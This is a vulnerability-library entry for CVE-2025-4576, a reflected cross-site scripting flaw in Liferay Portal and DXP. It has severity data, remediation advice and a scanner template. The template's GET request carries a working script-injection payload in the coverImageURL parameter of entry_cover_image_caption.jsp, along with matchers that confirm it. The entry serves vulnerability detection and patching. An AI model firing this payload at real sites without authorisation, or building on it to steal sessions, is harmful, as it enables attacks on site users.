/Vulnerability Library

Liferay Portal & DXP - Cross-Site Scripting

CVE-2025-4576
Verified

Description

Liferay Portal 7.4.0 through 7.4.3.133 and Liferay DXP 2024.Q1.1 through 2025.Q1.4 contain a reflected XSS caused by improper sanitization in entry_cover_image_caption.jsp, letting remote non-authenticated attackers inject JavaScript.

Severity

Medium

CVSS Score

6.1

Exploit Probability

6%

Published Date

March 26, 2026

Template Author

xtr0nix

CVE-2025-4576.yaml
id: CVE-2025-4576

info:
  name: Liferay Portal & DXP - Cross-Site Scripting
  author: xtr0nix
  severity: medium
  description: |
    Liferay Portal 7.4.0 through 7.4.3.133 and Liferay DXP 2024.Q1.1 through 2025.Q1.4 contain a reflected XSS caused by improper sanitization in entry_cover_image_caption.jsp, letting remote non-authenticated attackers inject JavaScript.
  impact: |
    Remote attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks.
  remediation: |
    Update to the latest available version beyond 7.4.3.133 and 2025.Q1.4.
  reference:
    - https://github.com/advisories/GHSA-6qcg-28jh-hm7r
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4576
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-4576
    epss-score: 0.05581
    epss-percentile: 0.90395
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,xss,liferay,portal,dxp

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/blogs-web/blogs/entry_cover_image_caption.jsp?coverImageURL=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "background-image")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100e364ed53a2d00183344523360be2571fa5ad0bd05c589495e095e8f7a233b848022100fdbefcca940c9186f0e680868dce5012cd30bd48619b070da416f4c1f5ac3091:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2025-4576
CWE ID:
cwe-79

References

https://github.com/advisories/GHSA-6qcg-28jh-hm7rhttps://nvd.nist.gov/vuln/detail/CVE-2025-4576

Remediation Steps

Update to the latest available version beyond 7.4.3.133 and 2025.Q1.4.